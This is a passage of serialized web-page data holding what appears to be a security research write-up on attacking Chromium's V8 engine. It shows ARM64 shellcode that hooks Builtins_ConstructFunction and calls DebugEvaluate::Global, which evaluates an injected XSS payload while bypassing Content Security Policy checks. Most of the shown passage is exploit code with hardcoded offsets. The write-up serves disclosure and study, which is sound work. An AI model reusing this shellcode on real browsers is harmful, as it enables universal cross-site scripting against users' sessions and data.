x14, x15, [sp], #16\n",{"type":22,"tag":264,"props":141739,"children":141740},{"class":1534,"line":5067},[141741],{"type":22,"tag":264,"props":141742,"children":141743},{},[141744],{"type":27,"value":141745},"ldp x12, x13, [sp], #16\n",{"type":22,"tag":264,"props":141747,"children":141748},{"class":1534,"line":5075},[141749],{"type":22,"tag":264,"props":141750,"children":141751},{},[141752],{"type":27,"value":141753},"ldp x10, x11, [sp], #16\n",{"type":22,"tag":264,"props":141755,"children":141756},{"class":1534,"line":5105},[141757],{"type":22,"tag":264,"props":141758,"children":141759},{},[141760],{"type":27,"value":141761},"ldp x8,  x9,  [sp], #16\n",{"type":22,"tag":264,"props":141763,"children":141764},{"class":1534,"line":5113},[141765],{"type":22,"tag":264,"props":141766,"children":141767},{},[141768],{"type":27,"value":141769},"ldp x6,  x7,  [sp], #16\n",{"type":22,"tag":264,"props":141771,"children":141772},{"class":1534,"line":5145},[141773],{"type":22,"tag":264,"props":141774,"children":141775},{},[141776],{"type":27,"value":141777},"ldp x4,  x5,  [sp], #16\n",{"type":22,"tag":264,"props":141779,"children":141780},{"class":1534,"line":5153},[141781],{"type":22,"tag":264,"props":141782,"children":141783},{},[141784],{"type":27,"value":141785},"ldp x2,  x3,  [sp], #16\n",{"type":22,"tag":264,"props":141787,"children":141788},{"class":1534,"line":5213},[141789],{"type":22,"tag":264,"props":141790,"children":141791},{},[141792],{"type":27,"value":141793},"ldp x0,  x1,  [sp], #16\n",{"type":22,"tag":264,"props":141795,"children":141796},{"class":1534,"line":10343},[141797],{"type":22,"tag":264,"props":141798,"children":141799},{"emptyLinePlaceholder":17},[141800],{"type":27,"value":4986},{"type":22,"tag":264,"props":141802,"children":141803},{"class":1534,"line":10361},[141804],{"type":22,"tag":264,"props":141805,"children":141806},{},[141807],{"type":27,"value":141808},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":22,"tag":264,"props":141810,"children":141811},{"class":1534,"line":10406},[141812],{"type":22,"tag":264,"props":141813,"children":141814},{},[141815],{"type":27,"value":141816},"// it immediately, so we can clobber and use it as a return register.\n",{"type":22,"tag":264,"props":141818,"children":141819},{"class":1534,"line":10512},[141820],{"type":22,"tag":264,"props":141821,"children":141822},{},[141823],{"type":27,"value":141824},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":22,"tag":264,"props":141826,"children":141827},{"class":1534,"line":24810},[141828],{"type":22,"tag":264,"props":141829,"children":141830},{},[141831],{"type":27,"value":141832},"// where to return\n",{"type":22,"tag":264,"props":141834,"children":141835},{"class":1534,"line":24845},[141836],{"type":22,"tag":264,"props":141837,"children":141838},{},[141839],{"type":27,"value":141840},"mov x4, lr\n",{"type":22,"tag":264,"props":141842,"children":141843},{"class":1534,"line":24853},[141844],{"type":22,"tag":264,"props":141845,"children":141846},{"emptyLinePlaceholder":17},[141847],{"type":27,"value":4986},{"type":22,"tag":264,"props":141849,"children":141850},{"class":1534,"line":24861},[141851],{"type":22,"tag":264,"props":141852,"children":141853},{},[141854],{"type":27,"value":141855},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":22,"tag":264,"props":141857,"children":141858},{"class":1534,"line":24870},[141859],{"type":22,"tag":264,"props":141860,"children":141861},{},[141862],{"type":27,"value":141863},"ldp x15, lr, [sp], #16\n",{"type":22,"tag":264,"props":141865,"children":141866},{"class":1534,"line":24912},[141867],{"type":22,"tag":264,"props":141868,"children":141869},{"emptyLinePlaceholder":17},[141870],{"type":27,"value":4986},{"type":22,"tag":264,"props":141872,"children":141873},{"class":1534,"line":24945},[141874],{"type":22,"tag":264,"props":141875,"children":141876},{},[141877],{"type":27,"value":141878},"ret x4\n",{"type":22,"tag":23,"props":141880,"children":141881},{},[141882,141884,141889,141891,141896,141898,141904],{"type":27,"value":141883},"At this point, we have successfully hooked ",{"type":22,"tag":257,"props":141885,"children":141887},{"className":141886},[],[141888],{"type":27,"value":140766},{"type":27,"value":141890}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":22,"tag":257,"props":141892,"children":141894},{"className":141893},[],[141895],{"type":27,"value":141282},{"type":27,"value":141897}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":22,"tag":257,"props":141899,"children":141901},{"className":141900},[],[141902],{"type":27,"value":141903},"Builtins_GlobalEval",{"type":27,"value":210},{"type":22,"tag":23,"props":141906,"children":141907},{},[141908,141913,141915,141920,141922,141927],{"type":22,"tag":257,"props":141909,"children":141911},{"className":141910},[],[141912],{"type":27,"value":141903},{"type":27,"value":141914}," takes a single ",{"type":22,"tag":257,"props":141916,"children":141918},{"className":141917},[],[141919],{"type":27,"value":49246},{"type":27,"value":141921}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":22,"tag":257,"props":141923,"children":141925},{"className":141924},[],[141926],{"type":27,"value":38862},{"type":27,"value":5785},{"type":22,"tag":618,"props":141929,"children":141931},{"code":141930,"language":30426,"meta":7,"className":30424,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[141932],{"type":22,"tag":257,"props":141933,"children":141934},{"__ignoreMap":7},[141935,141948,141955,141962,142005,142027,142053],{"type":22,"tag":264,"props":141936,"children":141937},{"class":1534,"line":1535},[141938,141943],{"type":22,"tag":264,"props":141939,"children":141940},{"style":4401},[141941],{"type":27,"value":141942},"BUILTIN",{"type":22,"tag":264,"props":141944,"children":141945},{"style":1539},[141946],{"type":27,"value":141947},"(GlobalEval) {\n",{"type":22,"tag":264,"props":141949,"children":141950},{"class":1534,"line":1545},[141951],{"type":22,"tag":264,"props":141952,"children":141953},{"style":1539},[141954],{"type":27,"value":128453},{"type":22,"tag":264,"props":141956,"children":141957},{"class":1534,"line":1560},[141958],{"type":22,"tag":264,"props":141959,"children":141960},{"emptyLinePlaceholder":17},[141961],{"type":27,"value":4986},{"type":22,"tag":264,"props":141963,"children":141964},{"class":1534,"line":1569},[141965,141970,141975,141979,141984,141988,141992,141996,142001],{"type":22,"tag":264,"props":141966,"children":141967},{"style":1539},[141968],{"type":27,"value":141969},"  if (!Builtins::",{"type":22,"tag":264,"props":141971,"children":141972},{"style":4722},[141973],{"type":27,"value":141974},"AllowDynamicFunction",{"type":22,"tag":264,"props":141976,"children":141977},{"style":1539},[141978],{"type":27,"value":2660},{"type":22,"tag":264,"props":141980,"children":141981},{"style":4722},[141982],{"type":27,"value":141983},"isolate",{"type":22,"tag":264,"props":141985,"children":141986},{"style":1539},[141987],{"type":27,"value":4380},{"type":22,"tag":264,"props":141989,"children":141990},{"style":4722},[141991],{"type":27,"value":116386},{"type":22,"tag":264,"props":141993,"children":141994},{"style":1539},[141995],{"type":27,"value":4380},{"type":22,"tag":264,"props":141997,"children":141998},{"style":4722},[141999],{"type":27,"value":142000},"target_global_proxy",{"type":22,"tag":264,"props":142002,"children":142003},{"style":1539},[142004],{"type":27,"value":36508},{"type":22,"tag":264,"props":142006,"children":142007},{"class":1534,"line":1583},[142008,142013,142017,142022],{"type":22,"tag":264,"props":142009,"children":142010},{"style":1549},[142011],{"type":27,"value":142012},"    isolate",{"type":22,"tag":264,"props":142014,"children":142015},{"style":1539},[142016],{"type":27,"value":15056},{"type":22,"tag":264,"props":142018,"children":142019},{"style":4401},[142020],{"type":27,"value":142021},"CountUsage",{"type":22,"tag":264,"props":142023,"children":142024},{"style":1539},[142025],{"type":27,"value":142026},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":22,"tag":264,"props":142028,"children":142029},{"class":1534,"line":1603},[142030,142034,142039,142044,142049],{"type":22,"tag":264,"props":142031,"children":142032},{"style":4328},[142033],{"type":27,"value":18291},{"type":22,"tag":264,"props":142035,"children":142036},{"style":4401},[142037],{"type":27,"value":142038}," ReadOnlyRoots",{"type":22,"tag":264,"props":142040,"children":142041},{"style":1539},[142042],{"type":27,"value":142043},"(isolate).",{"type":22,"tag":264,"props":142045,"children":142046},{"style":4401},[142047],{"type":27,"value":142048},"undefined_value",{"type":22,"tag":264,"props":142050,"children":142051},{"style":1539},[142052],{"type":27,"value":4977},{"type":22,"tag":264,"props":142054,"children":142055},{"class":1534,"line":1612},[142056],{"type":22,"tag":264,"props":142057,"children":142058},{"style":1539},[142059],{"type":27,"value":7163},{"type":22,"tag":23,"props":142061,"children":142062},{},[142063,142065,142070],{"type":27,"value":142064},"This means we would need to patch the function further to ensure it never enters this ",{"type":22,"tag":257,"props":142066,"children":142068},{"className":142067},[],[142069],{"type":27,"value":16879},{"type":27,"value":142071}," block.",{"type":22,"tag":23,"props":142073,"children":142074},{},[142075],{"type":27,"value":142076},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":22,"tag":618,"props":142078,"children":142080},{"code":142079,"language":30426,"meta":7,"className":30424,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[142081],{"type":22,"tag":257,"props":142082,"children":142083},{"__ignoreMap":7},[142084,142095,142102,142109,142116,142124,142136,142144,142161,142191,142199,142211],{"type":22,"tag":264,"props":142085,"children":142086},{"class":1534,"line":1535},[142087,142091],{"type":22,"tag":264,"props":142088,"children":142089},{"style":4401},[142090],{"type":27,"value":141942},{"type":22,"tag":264,"props":142092,"children":142093},{"style":1539},[142094],{"type":27,"value":141947},{"type":22,"tag":264,"props":142096,"children":142097},{"class":1534,"line":1545},[142098],{"type":22,"tag":264,"props":142099,"children":142100},{"emptyLinePlaceholder":17},[142101],{"type":27,"value":4986},{"type":22,"tag":264,"props":142103,"children":142104},{"class":1534,"line":1560},[142105],{"type":22,"tag":264,"props":142106,"children":142107},{"style":1539},[142108],{"type":27,"value":128453},{"type":22,"tag":264,"props":142110,"children":142111},{"class":1534,"line":1569},[142112],{"type":22,"tag":264,"props":142113,"children":142114},{"emptyLinePlaceholder":17},[142115],{"type":27,"value":4986},{"type":22,"tag":264,"props":142117,"children":142118},{"class":1534,"line":1583},[142119],{"type":22,"tag":264,"props":142120,"children":142121},{"style":1539},[142122],{"type":27,"value":142123},"  DirectHandle\u003CJSFunction> function;\n",{"type":22,"tag":264,"props":142125,"children":142126},{"class":1534,"line":1603},[142127,142132],{"type":22,"tag":264,"props":142128,"children":142129},{"style":4401},[142130],{"type":27,"value":142131},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":22,"tag":264,"props":142133,"children":142134},{"style":1539},[142135],{"type":27,"value":4767},{"type":22,"tag":264,"props":142137,"children":142138},{"class":1534,"line":1612},[142139],{"type":22,"tag":264,"props":142140,"children":142141},{"style":1539},[142142],{"type":27,"value":142143},"      isolate, function,\n",{"type":22,"tag":264,"props":142145,"children":142146},{"class":1534,"line":1621},[142147,142152,142157],{"type":22,"tag":264,"props":142148,"children":142149},{"style":1539},[142150],{"type":27,"value":142151},"      Compiler::",{"type":22,"tag":264,"props":142153,"children":142154},{"style":4401},[142155],{"type":27,"value":142156},"GetFunctionFromValidatedString",{"type":22,"tag":264,"props":142158,"children":142159},{"style":1539},[142160],{"type":27,"value":4767},{"type":22,"tag":264,"props":142162,"children":142163},{"class":1534,"line":1629},[142164,142169,142173,142177,142181,142186],{"type":22,"tag":264,"props":142165,"children":142166},{"style":4401},[142167],{"type":27,"value":142168},"          direct_handle",{"type":22,"tag":264,"props":142170,"children":142171},{"style":1539},[142172],{"type":27,"value":2660},{"type":22,"tag":264,"props":142174,"children":142175},{"style":1549},[142176],{"type":27,"value":116386},{"type":22,"tag":264,"props":142178,"children":142179},{"style":1539},[142180],{"type":27,"value":15056},{"type":22,"tag":264,"props":142182,"children":142183},{"style":4401},[142184],{"type":27,"value":142185},"native_context",{"type":22,"tag":264,"props":142187,"children":142188},{"style":1539},[142189],{"type":27,"value":142190},"(), isolate), source,\n",{"type":22,"tag":264,"props":142192,"children":142193},{"class":1534,"line":1642},[142194],{"type":22,"tag":264,"props":142195,"children":142196},{"style":1539},[142197],{"type":27,"value":142198},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":22,"tag":264,"props":142200,"children":142201},{"class":1534,"line":1660},[142202,142207],{"type":22,"tag":264,"props":142203,"children":142204},{"style":4401},[142205],{"type":27,"value":142206},"  RETURN_RESULT_OR_FAILURE",{"type":22,"tag":264,"props":142208,"children":142209},{"style":1539},[142210],{"type":27,"value":4767},{"type":22,"tag":264,"props":142212,"children":142213},{"class":1534,"line":1668},[142214,142219,142224],{"type":22,"tag":264,"props":142215,"children":142216},{"style":1539},[142217],{"type":27,"value":142218},"      isolate, Execution::",{"type":22,"tag":264,"props":142220,"children":142221},{"style":4401},[142222],{"type":27,"value":142223},"Call",{"type":22,"tag":264,"props":142225,"children":142226},{"style":1539},[142227],{"type":27,"value":142228},"(isolate, function, target_global_proxy, {}));\n",{"type":22,"tag":23,"props":142230,"children":142231},{},[142232,142234,142239,142241,142247,142249,142255,142257,142263],{"type":27,"value":142233},"But determining the correct ",{"type":22,"tag":257,"props":142235,"children":142237},{"className":142236},[],[142238],{"type":27,"value":116386},{"type":27,"value":142240}," value, obtaining ",{"type":22,"tag":257,"props":142242,"children":142244},{"className":142243},[],[142245],{"type":27,"value":142246},"target->native_context()",{"type":27,"value":142248},", and locating the ",{"type":22,"tag":257,"props":142250,"children":142252},{"className":142251},[],[142253],{"type":27,"value":142254},"direct_handle",{"type":27,"value":142256}," function, just to make a proper call to ",{"type":22,"tag":257,"props":142258,"children":142260},{"className":142259},[],[142261],{"type":27,"value":142262},"Compiler::GetFunctionFromValidatedString",{"type":27,"value":142264},", seemed unnecessarily cumbersome.",{"type":22,"tag":23,"props":142266,"children":142267},{},[142268,142270,142276],{"type":27,"value":142269},"Instead, we found a much simpler option with no security checks: ",{"type":22,"tag":257,"props":142271,"children":142273},{"className":142272},[],[142274],{"type":27,"value":142275},"DebugEvaluate::Global",{"type":27,"value":142277},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":22,"tag":23,"props":142279,"children":142280},{},[142281],{"type":27,"value":142282},"For our needs, it is straightforward to call:",{"type":22,"tag":618,"props":142284,"children":142286},{"code":142285,"language":30426,"meta":7,"className":30424,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[142287],{"type":22,"tag":257,"props":142288,"children":142289},{"__ignoreMap":7},[142290,142338,142367,142388],{"type":22,"tag":264,"props":142291,"children":142292},{"class":1534,"line":1535},[142293,142298,142302,142306,142311,142316,142320,142325,142329,142334],{"type":22,"tag":264,"props":142294,"children":142295},{"style":4722},[142296],{"type":27,"value":142297},"MaybeDirectHandle",{"type":22,"tag":264,"props":142299,"children":142300},{"style":1539},[142301],{"type":27,"value":7097},{"type":22,"tag":264,"props":142303,"children":142304},{"style":4722},[142305],{"type":27,"value":50171},{"type":22,"tag":264,"props":142307,"children":142308},{"style":1539},[142309],{"type":27,"value":142310},"> DebugEvaluate::",{"type":22,"tag":264,"props":142312,"children":142313},{"style":4401},[142314],{"type":27,"value":142315},"Global",{"type":22,"tag":264,"props":142317,"children":142318},{"style":1539},[142319],{"type":27,"value":2660},{"type":22,"tag":264,"props":142321,"children":142322},{"style":4722},[142323],{"type":27,"value":142324},"Isolate",{"type":22,"tag":264,"props":142326,"children":142327},{"style":4293},[142328],{"type":27,"value":5865},{"type":22,"tag":264,"props":142330,"children":142331},{"style":1549},[142332],{"type":27,"value":142333}," isolate",{"type":22,"tag":264,"props":142335,"children":142336},{"style":1539},[142337],{"type":27,"value":4812},{"type":22,"tag":264,"props":142339,"children":142340},{"class":1534,"line":1545},[142341,142346,142350,142354,142358,142363],{"type":22,"tag":264,"props":142342,"children":142343},{"style":4722},[142344],{"type":27,"value":142345},"                                                Handle",{"type":22,"tag":264,"props":142347,"children":142348},{"style":1539},[142349],{"type":27,"value":7097},{"type":22,"tag":264,"props":142351,"children":142352},{"style":4722},[142353],{"type":27,"value":49246},{"type":22,"tag":264,"props":142355,"children":142356},{"style":1539},[142357],{"type":27,"value":7112},{"type":22,"tag":264,"props":142359,"children":142360},{"style":1549},[142361],{"type":27,"value":142362},"source",{"type":22,"tag":264,"props":142364,"children":142365},{"style":1539},[142366],{"type":27,"value":4812},{"type":22,"tag":264,"props":142368,"children":142369},{"class":1534,"line":1560},[142370,142375,142380,142384],{"type":22,"tag":264,"props":142371,"children":142372},{"style":1539},[142373],{"type":27,"value":142374},"                                                debug::",{"type":22,"tag":264,"props":142376,"children":142377},{"style":4722},[142378],{"type":27,"value":142379},"EvaluateGlobalMode",{"type":22,"tag":264,"props":142381,"children":142382},{"style":1549},[142383],{"type":27,"value":107595},{"type":22,"tag":264,"props":142385,"children":142386},{"style":1539},[142387],{"type":27,"value":4812},{"type":22,"tag":264,"props":142389,"children":142390},{"class":1534,"line":1569},[142391,142396,142401],{"type":22,"tag":264,"props":142392,"children":142393},{"style":4722},[142394],{"type":27,"value":142395},"                                                REPLMode",{"type":22,"tag":264,"props":142397,"children":142398},{"style":1549},[142399],{"type":27,"value":142400}," repl_mode",{"type":22,"tag":264,"props":142402,"children":142403},{"style":1539},[142404],{"type":27,"value":5142},{"type":22,"tag":23,"props":142406,"children":142407},{},[142408,142410,142415,142417,142422,142424,142429,142431,142437,142438,142444],{"type":27,"value":142409},"We must supply the ",{"type":22,"tag":257,"props":142411,"children":142413},{"className":142412},[],[142414],{"type":27,"value":141983},{"type":27,"value":142416}," pointer, a ",{"type":22,"tag":257,"props":142418,"children":142420},{"className":142419},[],[142421],{"type":27,"value":49246},{"type":27,"value":142423}," object containing our XSS payload as ",{"type":22,"tag":257,"props":142425,"children":142427},{"className":142426},[],[142428],{"type":27,"value":142362},{"type":27,"value":142430},", and the ",{"type":22,"tag":257,"props":142432,"children":142434},{"className":142433},[],[142435],{"type":27,"value":142436},"mode",{"type":27,"value":12290},{"type":22,"tag":257,"props":142439,"children":142441},{"className":142440},[],[142442],{"type":27,"value":142443},"repl_mode",{"type":27,"value":142445}," values, which are simple enum literals.",{"type":22,"tag":23,"props":142447,"children":142448},{},[142449,142451,142456,142458,142464,142466,142471,142473,142478,142480,142486,142488,142494,142496,142501,142503,142508,142510,142515,142517,142522],{"type":27,"value":142450},"To obtain the ",{"type":22,"tag":257,"props":142452,"children":142454},{"className":142453},[],[142455],{"type":27,"value":141983},{"type":27,"value":142457}," pointer within our shellcode, we call ",{"type":22,"tag":257,"props":142459,"children":142461},{"className":142460},[],[142462],{"type":27,"value":142463},"Isolate::TryGetCurrent()",{"type":27,"value":142465},", which returns the current ",{"type":22,"tag":257,"props":142467,"children":142469},{"className":142468},[],[142470],{"type":27,"value":141983},{"type":27,"value":142472},". To construct a valid ",{"type":22,"tag":257,"props":142474,"children":142476},{"className":142475},[],[142477],{"type":27,"value":49246},{"type":27,"value":142479}," object holding our payload, we call ",{"type":22,"tag":257,"props":142481,"children":142483},{"className":142482},[],[142484],{"type":27,"value":142485},"v8::String::NewFromUTF8",{"type":27,"value":142487},". This ",{"type":22,"tag":257,"props":142489,"children":142491},{"className":142490},[],[142492],{"type":27,"value":142493},"NewFromUTF8",{"type":27,"value":142495}," function takes four arguments: the ",{"type":22,"tag":257,"props":142497,"children":142499},{"className":142498},[],[142500],{"type":27,"value":141983},{"type":27,"value":142502},", the string bytes as ",{"type":22,"tag":257,"props":142504,"children":142506},{"className":142505},[],[142507],{"type":27,"value":5013},{"type":27,"value":142509},", an enum literal specifying the string type, and ",{"type":22,"tag":257,"props":142511,"children":142513},{"className":142512},[],[142514],{"type":27,"value":9798},{"type":27,"value":142516},", which is the size of the ",{"type":22,"tag":257,"props":142518,"children":142520},{"className":142519},[],[142521],{"type":27,"value":5013},{"type":27,"value":18466},{"type":22,"tag":23,"props":142524,"children":142525},{},[142526],{"type":27,"value":142527},"The resulting shellcode that executes our XSS payload looks like this:",{"type":22,"tag":618,"props":142529,"children":142531},{"code":142530,"language":140819,"meta":7,"className":140820,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[142532],{"type":22,"tag":257,"props":142533,"children":142534},{"__ignoreMap":7},[142535,142543,142551,142559,142567,142575,142583,142591,142599,142607,142615,142623,142631,142638,142646,142654,142662,142670,142677,142685,142692,142700,142708,142715,142722,142729,142736,142743,142750,142758,142766,142773,142781,142789,142796,142804,142812,142819,142826,142834,142842,142850,142857,142865,142873,142881,142889,142897,142905,142913,142921,142929,142937,142945,142952,142960,142968,142975,142983,142991,142999,143007,143014,143022,143029,143036,143044,143052,143060,143068,143077,143086,143094],{"type":22,"tag":264,"props":142536,"children":142537},{"class":1534,"line":1535},[142538],{"type":22,"tag":264,"props":142539,"children":142540},{},[142541],{"type":27,"value":142542},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":22,"tag":264,"props":142544,"children":142545},{"class":1534,"line":1545},[142546],{"type":22,"tag":264,"props":142547,"children":142548},{},[142549],{"type":27,"value":142550},"movz x1, #0xf7a0\n",{"type":22,"tag":264,"props":142552,"children":142553},{"class":1534,"line":1560},[142554],{"type":22,"tag":264,"props":142555,"children":142556},{},[142557],{"type":27,"value":142558},"movk x1, #0x0071, lsl #16\n",{"type":22,"tag":264,"props":142560,"children":142561},{"class":1534,"line":1569},[142562],{"type":22,"tag":264,"props":142563,"children":142564},{},[142565],{"type":27,"value":142566},"add x9, x12, x1\n",{"type":22,"tag":264,"props":142568,"children":142569},{"class":1534,"line":1583},[142570],{"type":22,"tag":264,"props":142571,"children":142572},{},[142573],{"type":27,"value":142574},"movz x1, #0x5ac8\n",{"type":22,"tag":264,"props":142576,"children":142577},{"class":1534,"line":1603},[142578],{"type":22,"tag":264,"props":142579,"children":142580},{},[142581],{"type":27,"value":142582},"movk x1, #0x054f, lsl #16\n",{"type":22,"tag":264,"props":142584,"children":142585},{"class":1534,"line":1612},[142586],{"type":22,"tag":264,"props":142587,"children":142588},{},[142589],{"type":27,"value":142590},"add x0, x12, x1\n",{"type":22,"tag":264,"props":142592,"children":142593},{"class":1534,"line":1621},[142594],{"type":22,"tag":264,"props":142595,"children":142596},{},[142597],{"type":27,"value":142598},"blr x9\n",{"type":22,"tag":264,"props":142600,"children":142601},{"class":1534,"line":1629},[142602],{"type":22,"tag":264,"props":142603,"children":142604},{},[142605],{"type":27,"value":142606},"// *x0 is isolate pointer\n",{"type":22,"tag":264,"props":142608,"children":142609},{"class":1534,"line":1642},[142610],{"type":22,"tag":264,"props":142611,"children":142612},{},[142613],{"type":27,"value":142614},"// store isolate ptr to stack\n",{"type":22,"tag":264,"props":142616,"children":142617},{"class":1534,"line":1660},[142618],{"type":22,"tag":264,"props":142619,"children":142620},{},[142621],{"type":27,"value":142622},"ldr x13, [x0]\n",{"type":22,"tag":264,"props":142624,"children":142625},{"class":1534,"line":1668},[142626],{"type":22,"tag":264,"props":142627,"children":142628},{},[142629],{"type":27,"value":142630},"str x13, [sp, #-16]!\n",{"type":22,"tag":264,"props":142632,"children":142633},{"class":1534,"line":1677},[142634],{"type":22,"tag":264,"props":142635,"children":142636},{"emptyLinePlaceholder":17},[142637],{"type":27,"value":4986},{"type":22,"tag":264,"props":142639,"children":142640},{"class":1534,"line":1686},[142641],{"type":22,"tag":264,"props":142642,"children":142643},{},[142644],{"type":27,"value":142645},"// store x10 = v8::String::NewFromUTF8\n",{"type":22,"tag":264,"props":142647,"children":142648},{"class":1534,"line":4948},[142649],{"type":22,"tag":264,"props":142650,"children":142651},{},[142652],{"type":27,"value":142653},"movz x1, #0x1140\n",{"type":22,"tag":264,"props":142655,"children":142656},{"class":1534,"line":4957},[142657],{"type":22,"tag":264,"props":142658,"children":142659},{},[142660],{"type":27,"value":142661},"movk x1, #0x0242, lsl #16\n",{"type":22,"tag":264,"props":142663,"children":142664},{"class":1534,"line":4980},[142665],{"type":22,"tag":264,"props":142666,"children":142667},{},[142668],{"type":27,"value":142669},"sub x10, x12, x1\n",{"type":22,"tag":264,"props":142671,"children":142672},{"class":1534,"line":4989},[142673],{"type":22,"tag":264,"props":142674,"children":142675},{"emptyLinePlaceholder":17},[142676],{"type":27,"value":4986},{"type":22,"tag":264,"props":142678,"children":142679},{"class":1534,"line":4998},[142680],{"type":22,"tag":264,"props":142681,"children":142682},{},[142683],{"type":27,"value":142684},"// mmap a RW page for our xss payload\n",{"type":22,"tag":264,"props":142686,"children":142687},{"class":1534,"line":5067},[142688],{"type":22,"tag":264,"props":142689,"children":142690},{},[142691],{"type":27,"value":141035},{"type":22,"tag":264,"props":142693,"children":142694},{"class":1534,"line":5075},[142695],{"type":22,"tag":264,"props":142696,"children":142697},{},[142698],{"type":27,"value":142699},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":22,"tag":264,"props":142701,"children":142702},{"class":1534,"line":5105},[142703],{"type":22,"tag":264,"props":142704,"children":142705},{},[142706],{"type":27,"value":142707},"mov x2, #3\n",{"type":22,"tag":264,"props":142709,"children":142710},{"class":1534,"line":5113},[142711],{"type":22,"tag":264,"props":142712,"children":142713},{},[142714],{"type":27,"value":141058},{"type":22,"tag":264,"props":142716,"children":142717},{"class":1534,"line":5145},[142718],{"type":22,"tag":264,"props":142719,"children":142720},{},[142721],{"type":27,"value":141066},{"type":22,"tag":264,"props":142723,"children":142724},{"class":1534,"line":5153},[142725],{"type":22,"tag":264,"props":142726,"children":142727},{},[142728],{"type":27,"value":141074},{"type":22,"tag":264,"props":142730,"children":142731},{"class":1534,"line":5213},[142732],{"type":22,"tag":264,"props":142733,"children":142734},{},[142735],{"type":27,"value":141082},{"type":22,"tag":264,"props":142737,"children":142738},{"class":1534,"line":10343},[142739],{"type":22,"tag":264,"props":142740,"children":142741},{},[142742],{"type":27,"value":140997},{"type":22,"tag":264,"props":142744,"children":142745},{"class":1534,"line":10361},[142746],{"type":22,"tag":264,"props":142747,"children":142748},{"emptyLinePlaceholder":17},[142749],{"type":27,"value":4986},{"type":22,"tag":264,"props":142751,"children":142752},{"class":1534,"line":10406},[142753],{"type":22,"tag":264,"props":142754,"children":142755},{},[142756],{"type":27,"value":142757},"// write our xss payload to mmapped rw page\n",{"type":22,"tag":264,"props":142759,"children":142760},{"class":1534,"line":10512},[142761],{"type":22,"tag":264,"props":142762,"children":142763},{},[142764],{"type":27,"value":142765},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":22,"tag":264,"props":142767,"children":142768},{"class":1534,"line":24810},[142769],{"type":22,"tag":264,"props":142770,"children":142771},{"emptyLinePlaceholder":17},[142772],{"type":27,"value":4986},{"type":22,"tag":264,"props":142774,"children":142775},{"class":1534,"line":24845},[142776],{"type":22,"tag":264,"props":142777,"children":142778},{},[142779],{"type":27,"value":142780},"// store x11 = XSS_PAYLOAD string\n",{"type":22,"tag":264,"props":142782,"children":142783},{"class":1534,"line":24853},[142784],{"type":22,"tag":264,"props":142785,"children":142786},{},[142787],{"type":27,"value":142788},"mov x11, x0\n",{"type":22,"tag":264,"props":142790,"children":142791},{"class":1534,"line":24861},[142792],{"type":22,"tag":264,"props":142793,"children":142794},{"emptyLinePlaceholder":17},[142795],{"type":27,"value":4986},{"type":22,"tag":264,"props":142797,"children":142798},{"class":1534,"line":24870},[142799],{"type":22,"tag":264,"props":142800,"children":142801},{},[142802],{"type":27,"value":142803},"// pop back isolate 